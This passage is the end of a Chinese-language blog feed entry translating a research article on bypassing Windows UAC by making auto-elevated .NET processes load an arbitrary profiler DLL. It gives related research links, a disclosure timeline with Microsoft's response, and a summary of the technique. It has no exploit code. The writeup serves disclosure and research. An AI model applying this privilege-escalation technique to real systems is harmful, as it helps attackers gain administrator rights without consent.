href="https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1">一个已经实现</a>，<a href="https://twitter.com/enigma0x3/status/907397236627329024">另一个也快来了</a>），它不需要加载DLL，并且目前大部分EDR解决方案还不能捕获它。</p> <p>另外，如果你也在研究绕过UAC，这个主题外有很多资源，但是下面的必须读一下：</p> <ul> <li>@enigma0x3’s research (and his upcoming DerbyCon talk)</li> <li>@tiraniddo’s bypass techniques on UAC via the SilentCleanup task and process token reading: part 1, part 2 &amp; part 3</li> <li>@hFireF0X’s UACME project that implements most known UAC bypasses, and his posts on kernelmode</li> <li>@FuzzySec’s UAC workshop, and his Bypass-UAC project that implements several bypasses in PowerShell</li> </ul> <p>非常感谢Casey Smith(<a href="https://twitter.com/subTee">@subtee</a>)指出.NET profiler DLL技巧，并且感谢对微软开发者找到根本原因给予的帮助，谢谢Matt Graeber (<a href="https://twitter.com/mattifestation/">@mattifestation</a>) 的意见和review。</p> <h1 id="进展时间"><a href="#进展时间" class="headerlink" title="进展时间"></a>进展时间</h1><p>2017-05-19 发现bypass<br>2017-05-20 给MSRC发邮件 (cc’ing an MS dev as suggested by @mattifestation)<br>2017-05-22 MSRC创建主题 #38811<br>2017-05-20/23 和 MS dev讨论<br>2017-06-24  MSRC回复: “We have finished our investigation and determined this does not meet the bar for servicing downlevel. UAC is not a security boundary.”<br>2017-07-05 Stefan Kanthak绕过方案的完整披露<br>2017-09-15 发表本篇文章</p> <p>文章来源：<a href="https://offsec.provadys.com/UAC-bypass-dotnet.html">https://offsec.provadys.com/UAC-bypass-dotnet.html</a></p> ]]></content>          <summary type="html">            &lt;p&gt;.NET框架可以通过用户自定义环境变量和CLSID注册表项来加载profiler DLL或者COM组件DLL，甚至当前进程是提权的。这种行为可以被利用来绕过Windows 7到10（包括最近的RS3）系统的默认UAC设置，如通过自动提权.NET进程（MMC管理单元）来加载任意的DLL。&lt;/p&gt;          </summary>            <category term="security" scheme="https://anhkgg.github.io/categories/security/"/>                 <category term="bypassUAC" scheme="https://anhkgg.github.io/tags/bypassUAC/"/>            <category term="UAC" scheme="https://anhkgg.github.io/tags/UAC/"/>            <category term=".NET" scheme="https://anhkgg.github.io/tags/NET/"/>            <category term="mmc.exe" scheme="https://anhkgg.github.io/tags/mmc-exe/"/>        </entry>    </feed> 